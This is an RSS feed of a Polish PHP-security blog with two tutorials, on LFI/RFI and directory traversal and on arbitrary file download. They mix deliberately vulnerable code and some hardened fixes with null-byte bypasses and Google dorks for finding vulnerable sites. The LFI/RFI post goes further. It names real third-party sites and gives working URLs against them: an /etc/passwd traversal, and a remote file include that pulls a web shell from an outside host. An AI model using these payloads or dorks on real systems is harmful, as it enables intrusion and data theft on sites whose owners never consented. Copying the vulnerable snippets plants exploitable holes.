<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>m1chu.eu - another devblog &#187; Hacking</title>
	<atom:link href="http://m1chu.eu/category/ogolne/hacking/feed/" rel="self" type="application/rss+xml" />
	<link>http://m1chu.eu</link>
	<description>we live, as we dream... alone - another devblog</description>
	<lastBuildDate>Fri, 25 Jun 2010 22:04:21 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Jak zabezpieczyć skrypt PHP/MySQL? Część 2: luki Local File Include (LFI) i Remote File Include (RFI)</title>
		<link>http://m1chu.eu/2008/10/19/jak-zabezpieczyc-skrypt-php-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/</link>
		<comments>http://m1chu.eu/2008/10/19/jak-zabezpieczyc-skrypt-php-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 23:23:05 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webhosting]]></category>
		<category><![CDATA[directory traversal]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[luka]]></category>
		<category><![CDATA[poison null byte]]></category>
		<category><![CDATA[rfi]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=134</guid>
		<description><![CDATA[
Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. Local File Include, Remote File Include, czy Directory Traversal [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="iborder" src="http://farm4.static.flickr.com/3252/2953850569_0e75fbc1c7_o.png" alt="Luki LFI i RFI" /></p>
<p>Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. <strong>Local File Include</strong>, <strong>Remote File Include</strong>, czy <strong>Directory Traversal</strong> to fachowe nazwy błędów na które przez niedostateczne zabezpieczenie skryptu możemy być narażeni.</p>
<p><span id="more-134"></span></p>
<h2>Zarys teoretyczny&#8230;</h2>
<p>Obydwa typy ataków (zwane razem po prostu <strong>Include File Injection</strong>) są przykładami ogólnie rozumianego <strong>Code Injection</strong>, czyli wstrzykiwania niedozwolonego kodu. Prócz nich do grupy tego typu luk należą m.in. <strong>PHP/ASP Injection</strong>, <strong>SQL Injection</strong>, czy <strong>Shell Injection</strong> które dokładniej przedstawię w kolejnych artykułach o zabezpieczeniach.</p>
<p>O czym zaraz będziecie mogli się przekonać, na pierwszy rzut oka ataki te są podobne do opisywanej już przeze mnie <a href="http://m1chu.eu/zycie/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd" title="Arbitrary File Download" ><strong>luki AFD</strong></a>, a wszystko przez fakt możliwości wykorzystania błędu poprzez specyficzne dane wprowadzane przez użytkownika. Ich stopień niebezpieczeństwa można wyrazić przez prosty fakt, że nie tylko zagrażają one danemu, podatnemu na nie serwisowi, ale także w niektórych przypadkach całemu serwerowi. Dzieje się tak z powodu możliwości załadowania dowolnego pliku na serwerze ofiary, bądź w zależności od konfiguracji serwera także pliku z serwerów zewnętrznych poprzez dziurawy skrypt.</p>
<p style="text-align: center;"><a target="_blank" href="http://farm4.static.flickr.com/3194/2952290071_17550ed8f3_o.png" class="lightbox" title="Przykładowe LFI na /etc/passwd" ><img src="http://farm4.static.flickr.com/3194/2952290071_995c47c7f5.jpg" alt="Przykładowe LFI na /etc/passwd" /></a></p>
<h2>Przyczyny tworzenia bugów&#8230;</h2>
<p>Obydwa błędy dotyczą funkcji PHP odpowiedzialnych za wczytywanie plików na stronie. Mowa tu np. o <code>include()</code>, <code>include_once()</code>, <code>require()</code>, <code>require_once()</code>, <code>fopen()</code> (a co za tym idzie także <code>fread()</code>), <code>file()</code>, czy <code>file_get_contents()</code>.</p>
<p>Dwa poniższe, teoretyczne przykłady zobrazują Wam jak prosto można stać się ofiarą własnej naiwności, niewiedzy.</p>
<pre class="brush: php;">&lt;?php
$lang					   = 'polish'; // domyslny jezyk/plik
if ( isset($_COOKIE['language']) ) // gdy jezyk jest juz ustawiony w cookies
{
	$lang				   = $_COOKIE['language']; // nadpisanie $lang wartoscia ustawiona
}
else if ( isset($_GET['set_lang']) ) // gdy przekazujemy w parametrze nowy jezyk
{
	setcookie(&quot;language&quot;, &quot;&quot;, time() - 3600); // usuniecie starego cookie
	setcookie(&quot;language&quot;, $_GET['set_lang'], time() + 3600); // wpisanie nowego jezyka do cookies
	$lang				   = $_GET['set_lang']; // nadpisanie $lang wartoscia
}
$array = file($lang . '.txt'); // wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'
?&gt;</pre>
<p>Kod ten domyślnie mógłby być przez jakiegoś laika używany do zapisywania w cookies języka użytkownika wraz z możliwością jego dynamicznej zmiany poprzez parametr tablicy <strong>GET</strong> skryptu. Niestety brak jakiegokolwiek filtrowania pozwala co lepiej kombinującemu użytkownikowi na manipulowanie i wartością parametru, i zawartością ciasteczka odpowiadającego za przetrzymywanie języka użytkownika.</p>
<p>Przeanalizujmy metodykę działania tego pseudoskryptu:</p>
<pre class="brush: plain;">http://strona.pl/index.php?set_lang=polish // do odpowiedniego COOKIE zostanie zapisana wartość 'polish' po czym będzie wczytywany plik 'polish.txt'
http://strona.pl/index.php?set_lang=english // podobnie jak powyżej (zakładając, że obydwa pliki istnieją na serwerze) z tymże zostanie wczytany plik 'english.txt', a zapisana zostanie wartość 'english'</pre>
<p>Niby wszystko ok. Co jednak, jeżeli dokonamy edycji ciasteczka, bądź zmienimy nasz parametr w sposób podobny do <code>http://inna_strona.eu/exp.txt?</code>? Wywołamy z zewnętrznego serwera skrypt o rozszerzeniu <strong>txt</strong>. Tak oto otrzymaliśmy prosty przykład <strong>RFI</strong>. Po co ten znak zapytania na końcu? W celu uznania za parametry wszystkiego co znalazłoby się za nim w naszym adresie po przepuszczeniu w danej funkcji PHP (działa to tylko w przypadku RFI i zależne jest od stosowanej funkcji operującej na pliku), a także w celu uruchomienia danego pliku na serwerze ofiary. W naszym przypadku wynikiem będzie:</p>
<pre class="brush: php;">$array = file('http://inna_strona.eu/exp.txt?.txt'); // RFI na http://inna_strona.eu/exp.txt</pre>
<p>Drugi przypadek może symbolizować prosty system wczytywania podstron. Przykład może pozornie być uważany za bezpieczny z racji zastosowania <code>switch</code>. Niestety w wypadku jeżeli żaden z jego warunków nie zostanie spełniony w <code>default</code> może zostać wykonany praktycznie dowolny kod.</p>
<pre class="brush: php;">&lt;?php
[...]
switch ( $_GET['page'] )
{
	case 'index': // gdy GET page == index
		require 'index.php';
		break;
	case 'about': // gdy GET page == about
		require 'about.php';
		break;
	default: // w pozostalych wypadkach zostanie wywolany plik errors/dowolny_ciag.php
		require 'errors/' . $_GET['page'] . '.php';
		break;
}
[...]
?&gt;</pre>
<p>Podobnie jak w pierwszym przykładzie także tutaj możemy spreparować link, tym razem np. w taki sposób, aby uzyskać <strong>LFI</strong>.</p>
<pre class="brush: plain;">http://strona.pl/index.php?page=../hasla.txt</pre>
<p>Skorzystanie z takiego odnośnika spowoduje wywołanie pliku <strong>hasla.txt</strong> z głównego katalogu serwisu. Nie trzeba długo myśleć, że w taki sposób można mieć dostęp do każdego niezabezpieczonego pliku na serwerze w tym do będącego najczęstszym przykładem <strong>/etc/passwd</strong>.</p>
<h2>Directory Traversal (DA)?</h2>
<p>W powyższych przykładach nie wspomniałem nic o <strong>Path Disclosure</strong>, bo tak inaczej można nazwać <strong>Directory Traversal</strong>. Pozwala ono na otrzymanie dostępu do plików źródłowych lub ujawnienie innych zasobów znajdujących się na lokalnym serwerze. Manipulując żądaniami podobnie jak w przypadku <strong>Local File Include</strong> możemy otrzymać niepowołany dostęp do w.w. zasobów poprzez np. domyślne odwoływanie się do plików szablonów, czy podstron danego serwisu. To czyni z <strong>DA</strong> synonimiczny typ ataku do wspomnianego przed chwilą <strong>LFI</strong>.</p>
<h2>Poison Null Byte jako panaceum na ominięcie zintegrowanych rozszerzeń&#8230;</h2>
<p>Wspomniałem powyżej, że <strong>znak zapytania</strong> na końcu wywoływanego, spreparowanego kodu powoduje w niektórych przypadkach pozbycie się wbudowanego w skrypt rozszerzenia &#8211; o ile takowe istnieje. W praktyce działa to tylko w funkcjach sczytujących zawartości plików zewnętrznych, takich jak np. wspomniane <code>file(args);</code>. Nie zadziała to jednak już np. w przypadku integralnie wczytującego <code>include(arg);</code>.</p>
<pre class="brush: php;">$a = file(ADRES . '?.php'); // ok - wywoła plik z rozszerzeniem przed ?, a .php potraktuje jako argument
include(ADRES . '?.php'); // nie zadziała - .php będzie rozszerzeniem</pre>
<p>Nasuwają się więc od razu pytania jak sobie poradzić z tym problemem? Czy jest jakiś uniwersalny sposób na przełamanie tego niekiedy przypadkowego zabezpieczenia? Jest i nazywa się <strong>Poison Null Byte</strong>, czyli atak z użyciem bajtu zerowego. Inaczej mówiąc jest to zerowy metaznak w postaci jednej z dwóch następujących form: <strong>%00</strong> lub <strong>%2500</strong>. Drugą z nich używa się w wypadku kiedy strona zabezpieczona jest przed pierwszą. Zamieniamy w nim po prostu <strong>%</strong> na jego szesnastkowy odpowiednik w kodzie ASCII, czyli <strong>%25</strong>. Po dodaniu takiego &#8220;pustego&#8221; znaku automatycznie przekazujemy do skryptu zakończenie danego ciągu (nakazujemy obcięcie reszty znaków), przez co wszystko co po nim występuje jest automatycznie ignorowane przez parser PHP.</p>
<pre class="brush: plain;">http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%00

http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%2500</pre>
<p>Należy pamiętać, że w PHP poniżej wersji <strong>6.0</strong> przy włączonym ustawieniu <strong>&#8220;magic_quotes_gpc = On&#8221;</strong> zostanie automatycznie przeprowadzona filtracja tego typu ataku. Sama luka wykorzystywana jest <strong>zawsze</strong> w połączeniu z tytularnymi bugami opisywanymi w tym artykule.</p>
<h2>Kiedy jesteśmy narażeni na włamanie?</h2>
<ul>
<li>kiedy <strong>&#8220;magic_quotes_gpc = Off&#8221;</strong> (php.ini) (brak filtracji bajtów zerowych z poziomu ustawień PHP), bądź kiedy nie używamy <strong>addslashes</strong> lub <strong>mysql_real_escape_string</strong> dla poleceń MySQL,</li>
<li>gdy dyrektywa <strong>&#8220;register_globals = On&#8221;</strong> (php.ini), z racji tworzenia z parametru tablic superglobalnych <strong>GET/POST/COOKIES</strong> zmiennej o nazwie tegoż argumentu. Przykład:
<pre class="brush: plain;">http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt</pre>
<p>Utworzy w skrypcie automatycznie zmienną o następującej wartości:</p>
<pre class="brush: php;">$page = 'http://inna_strona.eu/exp.txt';</pre>
</li>
<li>w momencie gdy <strong>&#8220;allow_url_fopen = On&#8221;</strong> (php.ini) i/lub <strong>&#8220;allow_url_include = On&#8221;</strong> (php.ini dla funkcji <code>include(arg);</code>, <code>require(arg);</code>, <code>include_once(arg);</code>, <code>require_once(arg);</code> <strong>PHP od wersji 5.2</strong>) które pozwalają na pobieranie w funkcjach operujących na plikach zasobów z zdalnych serwerów lub w momencie kiedy nie blokujemy takiej możliwości bezpośrednio z poziomu skryptu,</li>
<li>kiedy nie zachowujemy podstawowych zasad zachowania bezpieczeństwa w skrypcie w tym wypadku dotyczących ograniczenia korzystania z plików w danych katalogach, o danych rozszerzeniach opierając się o regułę ograniczonego zaufania.</li>
</ul>
<h2>Zagrożenie ze strony modyfikacji kodowania adresu <a target="_blank" href="http://pl.wikipedia.org/wiki/Uniform_Resource_Locator" title="URL Wiki" >URL</a>&#8230;</h2>
<p>Skupmy się na chwilę na samych parametrach skryptu, czyli na <strong>Query String&#8217;u</strong>. Analizując metody zabezpieczeń często zapomina się o filtracji zakodowanej formy adresu na której działanie część serwerów jest narażonych.</p>
<p>Tak więc <strong>../</strong> dla przykładu w heksadecymalnym kodzie ASCII posiada odpowiednik w postaci ciągu <strong>%2e%2e%2f</strong>. Należy zabrać pod uwagę także mieszane formy poprzedniego wzorca, jak np. <strong>..%2f</strong>, <strong>%2e%2e/</strong>, a także formy zgodne z <strong>UTF-8</strong> &#8211; czyli dla przykładu <strong>..%c0%af</strong>. Poniżej przedstawiam tabelę części znaków i ich szesnastkowych odpowiedników ASCII.</p>
<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3216/2935684062_aeca59309b_o.png" alt="Znaki ASCII URI" /></p>
<p>Celem ogólnym tego paragrafu jest zaprezentowanie przeze mnie rzadkich, ale niekiedy możliwych do przeprowadzenia metod w.w. ataków za pomocą użycia procentowych, zakodowanych odpowiedników znaków. Uogólniając należy wyjść naprzeciw temu problemowi poprzez usystematyzowanie formy danych wejściowych na jednolite, najlepiej najbliższe ludzkiemu oku &#8211; czysto znakowe.</p>
<h2>Jak się zabezpieczyć?</h2>
<p>Na początek można odwrócić wartości dotyczące konfiguracji <strong>php.ini</strong> które podałem w paragrafie <strong>&#8220;Kiedy jesteśmy narażeni na włamanie?&#8221;</strong>. Nie mniej jednak <strong>&#8220;allow_url_fopen = Off&#8221;</strong> może być niepowołane w przypadku skryptów docelowo korzystających z jakiegoś zewnętrznego zasobu (np. z danych jakiegoś trackera), a <strong>&#8220;magic_quotes_gpc = On&#8221;</strong> pomimo, że automatycznie przeprowadza pewien poziom filtrowania to nie jest przeze mnie zalecane z powodu kreowania w webdeveloperze złych nawyków. Reszta zmian jest jak najbardziej wskazana.</p>
<p>Jeśli chodzi już o zabezpieczenia z poziomu skryptu to oprę się o dwa na początku artykułu wymienione przykłady.</p>
<p>Na drugim z nich zaprezentuję sposób najbardziej banalny, gdyż ładujący dane za pomocą ID (oparty o wbudowaną listę plików, choć można to oczywiście zrobić na podstawie np. bazy danych).</p>
<pre class="brush: php;">&lt;?php
function getPageName($page)
{
	$files = array( // zbior dozwolonych plikow
		'index', 'about', '404'
		);
	$counted = count($files);
	// jezeli podany argument jest wiekszy niz 0 i mniejszy lub rowny liczbie dozwolonych plikow
	//	  to zwroc nazwe pliku o tym ID
	// inaczej
	//	  zwroc ostatni dozwolony plik jako blad
	return ( $page &lt;= ( $counted ) &amp;&amp; $page &gt; 0 ? $files[($page-1)] : $files[($counted-1)] );
}
$page = getPageName((int)$_GET['page']); // rzutowanie na typ calkowity i wywolanie funkcji zwracajacej nazwe pliku po ID
switch ( $page )
{
	case '404': // wyjatek w wypadku bledu
		require './errors/404.php';
		break;
	default: // wczytanie przefiltrowanego pliku
		require './' . $page . '.php';
		break;
}
?&gt;</pre>
<p>Przykład banalny i za pewnie przydatny tylko w przypadku małych i prostych skryptów. Wypadałoby go zautomatyzować i na tym będzie się opierał pierwszy przerobiony z wyżej opisanych, niezabezpieczonych kodów.</p>
<p>Oprzemy się tutaj na użyciu funkcji <code>basename()</code> (w celu wyodrębnienia nazwy pliku z całego ciągu), <code>addslashes()</code> (dodaj znaki unikowe), <code>urldecode()</code> (dla zakodowanych procentowych form znaków) oraz <code>html_entity_decode()</code> (aby pozbyć się encji). Przykład zabroni całkowicie pobierania z zewnętrznych serwerów. Jeśli jednak skrypt wymagałby tego to należy <strong>zabronić</strong> użytkownikowi podawania adresu do takowego pliku i po prostu umieścić jego adres na stałe w skrypcie. Ważnym jest też fakt, aby pamiętać, że jeśli ten zdalny plik nie leży na jednym z zarządzanych przez nas serwerów to musimy liczyć się z tym, iż jego zawartość może zmienić się na przeznaczoną do dokonania włamania. <strong>Bezwzględnie powinno się filtrować także zawartość takich plików!</strong></p>
<pre class="brush: php;">&lt;?php
$files_catalog			  = './'; // katalog z plikami
$lang					  = 'polish'; // domyslny jezyk/plik
if ( isset($_COOKIE['language']) ) // gdy jezyk jest juz ustawiony w cookies
{
	// nadpisanie $lang wartoscia ustawiona wraz z filtracja
	$lang				  = addslashes(basename(html_entity_decode(urldecode($_COOKIE['language']))));
}
else if ( isset($_GET['set_lang']) ) // gdy przekazujemy w parametrze nowy jezyk
{
	// filtracja danych wejsciowych
	$lang				   = addslashes(basename(html_entity_decode(urldecode($_GET['set_lang']))));
	setcookie(&quot;language&quot;, &quot;&quot;, time() - 3600); // usuniecie starego cookie
	setcookie(&quot;language&quot;, $lang, time() + 3600); // wpisanie nowego jezyka do cookies
}
if ( file_exists($files_catalog . $lang . '.txt') ) // wczytanie danych TYLKO gdy plik istnieje
{
	$array = file($files_catalog . $lang . '.txt'); // wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'
}
?&gt;</pre>
<h2>Bo człowiek najlepiej uczy się na przykładach&#8230;</h2>
<p>Szukać opisywanych błędów można w podobny sposób jak w temacie o <a href="http://m1chu.eu/zycie/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd" title="Arbitrary File Download" ><strong>Arbitrary File Download</strong></a> (w slangu tzw. dorki). Pomijając pisane do tego specjalnie skrypty/programy, za pomocą wyszukiwarki. Frazeologia także nie różni się tak bardzo. Opieramy po prostu wyszukiwanie na parametrach skryptu pod którymi może występować luka, takimi jak <strong>f=</strong>, <strong>file=</strong>, <strong>site=</strong>, <strong>page=</strong>, czy <strong>plik=</strong>.</p>
<pre class="brush: plain;">inurl: &quot;.php?f=&quot;
inurl: &quot;.php?page=&quot;
inurl: &quot;.php?file=&quot;
inurl: &quot;.php?plik=&quot;
inurl: &quot;.php?site=&quot;

inurl:.pl (&quot;.php?page=&quot; OR &quot;.php?plik=&quot;)</pre>
<p>Tak mogłyby wyglądać frazy wyszukiwania <a target="_blank" href="http://www.google.pl/" title="Google" >Google</a>. W tym ostatnim wypadku zawężamy wyszukiwania do domen o rozszerzeniu <strong>.pl</strong> oraz wyszukujemy w nich jedną z dwóch podanych nazw parametrów plików php. Oczywiście nic nie stoi na przeszkodzie, aby przerobić to zapytanie na bliższe własnym potrzebą.</p>
<p>Inny sposobem na wyszukiwanie tego typu błędów jest wpisywanie fraz związanych z ostrzeżeniami funkcji na których luka się opiera (takich jak <code>require()</code>, <code>file()</code>, czy inne wymienione w drugim paragrafie). Niestety jest to metoda zawodna, gdyż nie każda tego typu informacja zwracana w skrypcie jest wykładnikiem błędu i nie zawsze są one także indeksowane przez wyszukiwarki. Można je jednak niekiedy użyć z wcześniej wymienionym sposobem w celu zwiększenia prawdopodobieństwa, że wykryty przez nas domniemany błąd jest nim naprawdę.</p>
<pre class="brush: plain;">Warning: require()
Warning: file()
Warning: fopen()
Warning: file_get_contents()</pre>
<p>Największe prawdopodobieństwo trafienia na podatny kod ostrzeżenie na stronie powinno wyglądać mniej więcej jak to (należy zwrócić uwagę na rozszerzenie otwieranego pliku oraz rodzaj funkcji wczytującej pliki):</p>
<pre class="brush: plain;">Warning: include() [function.include]: Failed opening '...php' for inclusion (include_path='.:/usr/share/pear') in /adres_wzgledny/index.php on line 13</pre>
<p style="text-align: center;"><img src="http://farm4.static.flickr.com/3025/2952278149_295638be67_o.png" alt="Path Disclosure App" /></p>
<pre class="brush: plain;">inurl:automotive.co.uk (&quot;.php?site=&quot; OR &quot;.php?file=&quot; OR &quot;.php?page=&quot; OR &quot;.php?f=&quot;)</pre>
<p>W taki oto sposób, po ciut przypadkowych poszukiwaniach otrzymałem przykład nieodpowiednio zabezpieczonego skryptu.</p>
<pre class="brush: plain;">http://www.riverside-automotive.co.uk/index.php?f=data_home&amp;a=9</pre>
<p>Link z pierwszej strony wyników. Dla pewności sprawdziłem występowanie luki poprzez <a target="_blank" href="http://utnij.eu/file_disclosure_scanner/" title="Path Disclosure" >jeden</a> z krążących po internecie programów do ich wykrywania (po czym przetestowałem ponownie napisanym <a href="http://dev.m1chu.eu/index.php?title=Include_File_Disclosure_Scanner"  title="Include File Disclosure Scanner"><strong>przeze mnie</strong></a> skanerem &#8211; jest to wersja rozwojowa więc może mieć ciut błędów &#8211; wymaga minimum <a target="_blank" href="http://utnij.eu/net_2/"  title=".NET Framework 2.0">.NET Framework 2.0</a> &#8211; więcej w komentarzach). Rezultat pozytywny &#8211; &#8220;mission completed&#8221; :D</p>
<pre class="brush: plain;">http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.riverside-automotive.co.uk/index.php?f=../../../../../../../../etc/passwd</pre>
<p>Pewnie niektórzy drapią się z Was po głowie, dlaczego ten punkt opisałem &#8220;po łebkach&#8221;. Wszystko ze względu, że metodologia wykrywania tego typu bugów jest praktycznie taka sama jak w przypadku poprzednio opisywanej przeze mnie problematyki zabezpieczeń (wspomniane już dwukrotnie AFD).</p>
<p>I na koniec przykładowy link działania zewnętrznego shella (skrypt wykonywany zdalnie &#8211; z innego serwera &#8211; przykładami są: <strong>r57.php</strong>, <strong>s72.php</strong>, czy <strong>c99.php</strong>) wobec RFI, już bez zbędnego opisu. Jak zwykle zaznaczam także, że wszelkie przykłady zamieszczone w tymże, a także w kolejnych artykułach są na zasadach edukacyjnych. <strong>Proszę nie wykorzystywać ich do jakiegokolwiek niszczenia prac autorów zamieszczonych tu stron!</strong></p>
<pre class="brush: plain;">Podatna strona: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=
Przykładowy shell: http://www.mykr.net/bbs/id.txt?
// Shell wykorzystywany na utnij.eu
Pełny adres: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.mykr.net/bbs/id.txt?</pre>
<p>Jeśli ktoś chce zobaczyć konstrukcję shellów, to zapraszam na <a target="_blank" href="http://utnij.eu/" title="Prawdopodobnie najlepszy serwis do skracania linków" >utnij.eu</a>, gdzie w statystykach skróconych ostatnio odnośników można znaleźć wiele tego typu skryptów, co jest wynikiem prób jakiś osobników shackowania tego serwisu. Jak na razie bezowocnych&#8230; na szczęście&#8230;</p>
<p>PS: zapraszam wszystkich chętnych do luźnych rozmów nie tylko o programowaniu, także wszelkich programistów i grafików, a uogólniając każdą osobę która lubi prowadzić dialog i dłuższe przesiadywanie na IRC-u na kanał <strong>#thenet</strong> serwerów <strong>after-all.org</strong> (#thenet@irc.after-all.org).</p>
]]></content:encoded>
			<wfw:commentRss>http://m1chu.eu/2008/10/19/jak-zabezpieczyc-skrypt-php-czesc-2-luki-local-file-include-lfi-i-remote-file-include-rfi/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Jak zabezpieczyć skrypt PHP/MySQL? Część 1: luka Arbitrary File Download (AFD)</title>
		<link>http://m1chu.eu/2008/09/11/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/</link>
		<comments>http://m1chu.eu/2008/09/11/jak-zabezpieczyc-skrypt-phpmysql-czesc-1-luka-arbitrary-file-download-afd/#comments</comments>
		<pubDate>Wed, 10 Sep 2008 23:05:50 +0000</pubDate>
		<dc:creator>m1chu</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Webhosting]]></category>
		<category><![CDATA[afd]]></category>
		<category><![CDATA[arbitrary file download]]></category>
		<category><![CDATA[atak]]></category>
		<category><![CDATA[bezpieczeństwo]]></category>
		<category><![CDATA[luka]]></category>
		<category><![CDATA[zabezpieczenia]]></category>

		<guid isPermaLink="false">http://m1chu.eu/?p=53</guid>
		<description><![CDATA[
Postanowiłem podejść do sprawy zabezpieczeń w wielu wpisach. Pisanie o bezpieczeństwie w jednym byłoby długie i cholernie monotonne. Zaczniemy więc tym razem niestandardowo, bo od ataku typu Arbitrary File Download (szczerze większej publikacji o tym nie znalazłem) &#8211; z reguły rzadszym, ale bardzo niebezpiecznym, a to wszystko jak sama nazwa mówi z powodu możliwości ściągnięcia [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="iborder" src="http://farm4.static.flickr.com/3070/2954723512_15f53621b2_o.png" alt="Luka AFD" /></p>
<p>Postanowiłem podejść do sprawy zabezpieczeń w wielu wpisach. Pisanie o bezpieczeństwie w jednym byłoby długie i cholernie monotonne. Zaczniemy więc tym razem niestandardowo, bo od ataku typu <strong>Arbitrary File Download</strong> (szczerze większej publikacji o tym nie znalazłem) &#8211; z reguły rzadszym, ale bardzo niebezpiecznym, a to wszystko jak sama nazwa mówi z powodu możliwości ściągnięcia dowolnego pliku na serwerze na którym wykonywany jest odpowiedni plik php.</p>
<p><span id="more-53"></span><br />
Tłumacząc na polski nazwę tej luki otrzymalibyśmy mniej lub bardziej dosłownie translację w stylu <strong>&#8220;Pobieranie dowolnego pliku&#8221;</strong>. Stąd moje krótkie tłumaczenie w powyższym paragrafie.</p>
<p>Z teoretycznego punktu widzenia dokładniej wygląda to tak, że za pomocą parametru w adresie pliku przeznaczonego do ściągania innych plików z serwera możemy spreparować tak adres, aby pozwolił on nam ściągnąć pliki domyślnie przez programistę nieprzeznaczone do takiego zabiegu. Wiąże się to niedostateczną, a najczęściej po prostu z brakiem filtracji elementu (np. zmiennej) odpowiedzialnego za pobieranie argumentu.</p>
<p>Pokażę prosty przykład pliku (nazwijmy go <strong>download.php</strong>) który jest podatny na tego typu atak:</p>
<pre class="brush: php;">&lt;?php

if ( isset($_GET['file']) )
{
	header('Cache-control: private');
	header('Content-Length: ' . filesize($_GET['file']));
	header('Content-Type: application/octet-stream');
	header('Content-Disposition: attachment; filename=' . basename($_GET['file'])); // nagłówek ustawiający zawartość jako załącznik

	readfile($_GET['file']); // ściągnięcie pliku
}

?&gt;</pre>
<p>I pomimo, że intencją programisty było ściąganie dzięki temu plikowi np. dokumentów PDF, to my dzięki jego niefrasobliwości bez problemu możemy wykorzystać go do&#8230; pobierania pozostałych plików PHP. Co najważniejsze &#8211; <strong>nieprzeparsowanych</strong>! <strong>Po prostu czysty kod PHP w takiej formie jaką twórca strony umieścił na serwerze</strong>. Jedyne co nas w tym wypadku ogranicza to funkcja <strong>readfile</strong> która standardowo nie nadaje się do pobierania dużych plików, a także czas wykonywania skryptu i wielkość bufora ustawiona w pliku konfiguracyjnym PHP.</p>
<p>Wracając do przykładów. Na wyimaginowanym odnośniku powiedzmy linkującego do dokumentu PDF wyglądało by to tak:</p>
<pre class="brush: plain;">www.strona_internetowa.pl/catalog/download.php?file=specyfikacja.pdf</pre>
<p>Pierwsza myśl która Wam może przyjść do głowy to podmienić po prostu <strong>specyfikacja.pdf</strong> na inny plik. Standardowo mógłby być to <strong>index.php</strong>, gdyż ściągając jego zawartość otrzymamy informację o nazwach innych powiązanych z nim plików. Niekoniecznie jednak plik ten musi się znajdować w tym samym katalogu co <strong>download.php</strong>, czy <strong>specyfikacja.pdf</strong>. </p>
<p>W pierwszym przypadku widzimy, że plik PHP którym ściągamy pozostałe źródła znajduje się w podkatalogu. Dlatego dla pewności możemy wypróbować dwa spreparowane linki:</p>
<pre class="brush: plain;">www.strona_internetowa.pl/catalog/download.php?file=index.php // plik znajdowałby się wtedy pod /catalog/index.php
www.strona_internetowa.pl/catalog/download.php?file=../index.php // plik znajdowałby się wtedy bezpośrednio w strona_internetowa.pl/index.php</pre>
<p>W drugim punkcie sprawa wygląda tak, że plik <strong>specyfikacja.pdf</strong> nie musi się znajdować w tym samym katalogu co <strong>download.php</strong> <em>pomimo</em>, że w odnośniku nie jest podana do niego inna ścieżka. Wystarczy, że twórca strony w w.w. przeze mnie kodzie zmieni linijkę z <strong>readfile</strong> (a także linię odpowiedzialną za pobieranie wielkości pliku) na:</p>
<pre class="brush: php;">&lt;?php
[...]
	header('Content-Length: ' . filesize('./podkatalog/kolejny/' . $_GET['file']));
[...]
    readfile('./podkatalog/kolejny/' . $_GET['file']); // ściągnięcie pliku

?&gt;</pre>
<p>W takim wypadku jego pliki PDF są po prostu ściągane z:</p>
<pre class="brush: plain;">www.strona_internetowa.pl/catalog/podkatalog/kolejny/</pre>
<p>I tu rodzi się kolejne rozwiązanie &#8211; używanie przejść do katalogów nadrzędnych. Jeśli w tym wypadku chcielibyśmy ściągnąć <strong>index.php</strong> z głównego katalogu to wystarczy po prostu wpisać taki adres w przeglądarce:</p>
<pre class="brush: plain;">www.strona_internetowa.pl/catalog/download.php?file=../../../index.php</pre>
<p>Spytacie może:</p>
<blockquote><p>W takim bądź razie skąd ja mam wiedzieć, gdzie wreszcie znajduje się ten mój pożądany plik?</p></blockquote>
<p>Jeśli zaczynasz się w to bawić to najprościej będzie robić to metodą prób i błędów poprzez przejścia do podkatalogów i katalogów nadrzędnych. Jeżeli któreś z kolei nie zadziała to albo skrypt jest zabezpieczony, albo po prostu nie ma dostępu do pliku którego szukasz na serwerze (tak może być niekiedy z poszukiwaniem np. systemowego <strong>/etc/passwd</strong>). Innym sposobem jest użycie jakiegoś downloadera plików w stylu <em>wget</em>, czy innych Windowsowych zamienników, po czym analiza struktury katalogów serwisu. Zabieg w miarę prosty (chodzi o użytkowanie tych narzędzi) więc chyba tłumaczyć nie muszę.</p>
